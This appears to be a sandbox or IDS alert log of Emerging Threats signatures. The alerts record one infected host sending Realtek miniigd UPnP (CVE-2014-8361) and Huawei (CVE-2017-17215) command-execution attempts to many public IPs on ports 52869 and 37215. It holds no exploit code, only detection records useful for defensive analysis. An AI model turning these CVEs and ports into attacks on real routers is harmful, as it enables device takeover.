ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.69.127.248

Timestamp:	07/20/24-23:01:53.099889
SID:	2027339
Source Port:	38954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.134.118.47

Timestamp:	07/20/24-23:01:41.909668
SID:	2027339
Source Port:	37660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.217.40.139

Timestamp:	07/20/24-23:01:44.825081
SID:	2027339
Source Port:	59162
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 147.234.115.27

Timestamp:	07/20/24-23:01:02.079114
SID:	2829579
Source Port:	53940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.76.21.211

Timestamp:	07/20/24-23:01:42.772926
SID:	2025132
Source Port:	56254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.31.200.232

Timestamp:	07/20/24-23:01:08.620788
SID:	2831300
Source Port:	39266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.32.95.217

Timestamp:	07/20/24-23:01:48.970191
SID:	2831300
Source Port:	34126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.141.254.89

Timestamp:	07/20/24-23:01:52.914136
SID:	2027339
Source Port:	40474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 78.242.93.228

Timestamp:	07/20/24-23:00:57.222164
SID:	2835222
Source Port:	57480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.221.171.171

Timestamp:	07/20/24-23:01:46.893328
SID:	2831300
Source Port:	58992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.136.236.137

Timestamp:	07/20/24-23:01:03.175286
SID:	2025132
Source Port:	50620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.194.48.207

Timestamp:	07/20/24-23:01:47.856443
SID:	2027339
Source Port:	41204
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.84.192.59

Timestamp:	07/20/24-23:02:11.743968
SID:	2025132
Source Port:	37572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.241.234.23

Timestamp:	07/20/24-23:01:58.892811
SID:	2027339
Source Port:	44010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.194.235.253

Timestamp:	07/20/24-23:01:58.999794
SID:	2027339
Source Port:	39764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 116.175.162.178

Timestamp:	07/20/24-23:01:46.329268
SID:	2025132
Source Port:	50588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.185.97.186

Timestamp:	07/20/24-23:01:46.929722
SID:	2027339
Source Port:	40550
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.134.216.118

Timestamp:	07/20/24-23:01:46.143923
SID:	2831300
Source Port:	43004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 148.205.165.15

Timestamp:	07/20/24-23:01:42.800757
SID:	2831300
Source Port:	41210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.27.255.148

Timestamp:	07/20/24-23:01:53.428577
SID:	2025132
Source Port:	51684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 41.48.241.197

Timestamp:	07/20/24-23:01:45.485100
SID:	2831300
Source Port:	54638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 62.123.128.166

Timestamp:	07/20/24-23:01:07.016889
SID:	2829579
Source Port:	55088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 57.35.73.126

Timestamp:	07/20/24-23:00:57.221748
SID:	2829579
Source Port:	39456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.193.3.141

Timestamp:	07/20/24-23:01:25.715288
SID:	2025132
Source Port:	55744
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.211.204.245

Timestamp:	07/20/24-23:01:26.014513
SID:	2025132
Source Port:	59542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.162.88.124

Timestamp:	07/20/24-23:01:44.660016
SID:	2027339
Source Port:	57142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.23.172.87

Timestamp:	07/20/24-23:01:01.868178
SID:	2025132
Source Port:	47262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.236.243.93

Timestamp:	07/20/24-23:01:04.637063
SID:	2025132
Source Port:	54854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 146.31.217.81

Timestamp:	07/20/24-23:01:24.060711
SID:	2025132
Source Port:	46302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.223.49.101

Timestamp:	07/20/24-23:01:42.935667
SID:	2027339
Source Port:	53490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 36.225.241.35

Timestamp:	07/20/24-23:01:27.677519
SID:	2829579
Source Port:	44504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.76.96.139

Timestamp:	07/20/24-23:01:34.043784
SID:	2829579
Source Port:	57248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.33.116.164

Timestamp:	07/20/24-23:01:08.655109
SID:	2831300
Source Port:	54774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.160.102.240

Timestamp:	07/20/24-23:02:06.738802
SID:	2025132
Source Port:	59328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.30.132.8

Timestamp:	07/20/24-23:01:08.600114
SID:	2831300
Source Port:	38226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.188.56.156

Timestamp:	07/20/24-23:01:49.329746
SID:	2027339
Source Port:	53542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.125.103.77

Timestamp:	07/20/24-23:01:25.787139
SID:	2027339
Source Port:	49954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.194.207.76

Timestamp:	07/20/24-23:01:40.286738
SID:	2829579
Source Port:	48528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.167.78.225

Timestamp:	07/20/24-23:01:34.048618
SID:	2829579
Source Port:	41346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.150.2.45

Timestamp:	07/20/24-23:01:41.366269
SID:	2025132
Source Port:	59642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.111.45.230

Timestamp:	07/20/24-23:01:06.994337
SID:	2829579
Source Port:	41576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.17.111.246

Timestamp:	07/20/24-23:01:24.739204
SID:	2025132
Source Port:	47310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.40.238.120

Timestamp:	07/20/24-23:01:44.944699
SID:	2027339
Source Port:	53900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 107.208.110.238

Timestamp:	07/20/24-23:01:08.646615
SID:	2831300
Source Port:	51990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.86.250.128

Timestamp:	07/20/24-23:00:59.153608
SID:	2829579
Source Port:	34534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 58.116.31.11

Timestamp:	07/20/24-23:01:08.632574
SID:	2831300
Source Port:	49030
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.206.46.127

Timestamp:	07/20/24-23:01:41.263141
SID:	2027339
Source Port:	60330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.12.96.106

Timestamp:	07/20/24-23:02:04.592319
SID:	2027339
Source Port:	37212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.194.44.24

Timestamp:	07/20/24-23:01:41.381812
SID:	2025132
Source Port:	41288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.74.227.91

Timestamp:	07/20/24-23:01:03.194002
SID:	2025132
Source Port:	52936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.45.164.41

Timestamp:	07/20/24-23:01:27.664606
SID:	2829579
Source Port:	51336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 188.92.250.125

Timestamp:	07/20/24-23:01:09.027075
SID:	2831300
Source Port:	43632
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.84.136.136

Timestamp:	07/20/24-23:01:53.326732
SID:	2027339
Source Port:	48686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.177.145.85

Timestamp:	07/20/24-23:01:44.945909
SID:	2027339
Source Port:	40546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.56.101.214

Timestamp:	07/20/24-23:01:32.032492
SID:	2829579
Source Port:	59880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 2.228.199.145

Timestamp:	07/20/24-23:01:27.650643
SID:	2835222
Source Port:	57514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 76.8.56.105

Timestamp:	07/20/24-23:01:43.087294
SID:	2027339
Source Port:	48788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.44.122.49

Timestamp:	07/20/24-23:01:10.703412
SID:	2027339
Source Port:	41478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.149.63.116

Timestamp:	07/20/24-23:01:42.592736
SID:	2027339
Source Port:	46258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.181.134

Timestamp:	07/20/24-23:00:57.220866
SID:	2835222
Source Port:	45112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 91.110.161.158

Timestamp:	07/20/24-23:01:00.633810
SID:	2829579
Source Port:	34066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.175.0

Timestamp:	07/20/24-23:01:11.642449
SID:	2829579
Source Port:	57406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.184.167.162

Timestamp:	07/20/24-23:01:31.981855
SID:	2829579
Source Port:	46582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.172.152.113

Timestamp:	07/20/24-23:01:31.325400
SID:	2027339
Source Port:	38942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.207.43.131

Timestamp:	07/20/24-23:01:00.651026
SID:	2829579
Source Port:	38614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 20.63.97.204

Timestamp:	07/20/24-23:01:46.109136
SID:	2025132
Source Port:	40670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 4.129.239.131

Timestamp:	07/20/24-23:01:13.146648
SID:	2025132
Source Port:	41232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.44.162.23

Timestamp:	07/20/24-23:01:42.592140
SID:	2831300
Source Port:	36644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.33.239.16

Timestamp:	07/20/24-23:01:41.566623
SID:	2025132
Source Port:	59894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 218.234.180.136

Timestamp:	07/20/24-23:01:41.947663
SID:	2025132
Source Port:	33434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.104.187.148

Timestamp:	07/20/24-23:01:41.299284
SID:	2027339
Source Port:	54778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.91.73.111

Timestamp:	07/20/24-23:01:01.278892
SID:	2027339
Source Port:	35746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.77.58.220

Timestamp:	07/20/24-23:01:08.574948
SID:	2027339
Source Port:	38282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 58.56.54.197

Timestamp:	07/20/24-23:01:45.458332
SID:	2025132
Source Port:	51990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.31.171.242

Timestamp:	07/20/24-23:01:20.149798
SID:	2829579
Source Port:	33656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.118.234.148

Timestamp:	07/20/24-23:01:42.774505
SID:	2025132
Source Port:	41374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.180.73.227

Timestamp:	07/20/24-23:01:31.975330
SID:	2835222
Source Port:	41040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.145.174

Timestamp:	07/20/24-23:00:59.157444
SID:	2829579
Source Port:	41416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.162.26.171

Timestamp:	07/20/24-23:01:44.161942
SID:	2027339
Source Port:	55620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.119.209.224

Timestamp:	07/20/24-23:01:47.092270
SID:	2025132
Source Port:	57310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 181.123.95.218

Timestamp:	07/20/24-23:01:24.885849
SID:	2835222
Source Port:	55258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.192.6

Timestamp:	07/20/24-23:01:27.650643
SID:	2835222
Source Port:	59830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 73.49.232.192

Timestamp:	07/20/24-23:01:58.688551
SID:	2025132
Source Port:	49478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.195.26.201

Timestamp:	07/20/24-23:01:44.036421
SID:	2025132
Source Port:	35630
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.162.162.31

Timestamp:	07/20/24-23:01:03.919195
SID:	2027339
Source Port:	58878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.118.41.79

Timestamp:	07/20/24-23:01:34.044417
SID:	2835222
Source Port:	41170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.176.151.108

Timestamp:	07/20/24-23:01:46.731900
SID:	2025132
Source Port:	56188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.103.85.217

Timestamp:	07/20/24-23:01:42.749469
SID:	2027339
Source Port:	45456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.193.122.132

Timestamp:	07/20/24-23:01:54.177524
SID:	2027339
Source Port:	56158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.103.95.129

Timestamp:	07/20/24-23:01:59.197251
SID:	2831300
Source Port:	53646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 170.93.66.190

Timestamp:	07/20/24-23:01:43.147883
SID:	2025132
Source Port:	59578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.211.116.144

Timestamp:	07/20/24-23:01:46.159166
SID:	2027339
Source Port:	60328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.206.118.182

Timestamp:	07/20/24-23:01:51.791706
SID:	2027339
Source Port:	49938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.66.91.121

Timestamp:	07/20/24-23:01:01.182969
SID:	2025132
Source Port:	59766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.255.30.88

Timestamp:	07/20/24-23:01:50.083569
SID:	2831300
Source Port:	54864
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.146.42.42

Timestamp:	07/20/24-23:01:42.727671
SID:	2831300
Source Port:	59060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.58.16.237

Timestamp:	07/20/24-23:01:02.095698
SID:	2835222
Source Port:	51666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.1.100.136

Timestamp:	07/20/24-23:01:41.420715
SID:	2027339
Source Port:	41268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.179.244.2

Timestamp:	07/20/24-23:01:04.965535
SID:	2027339
Source Port:	44980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

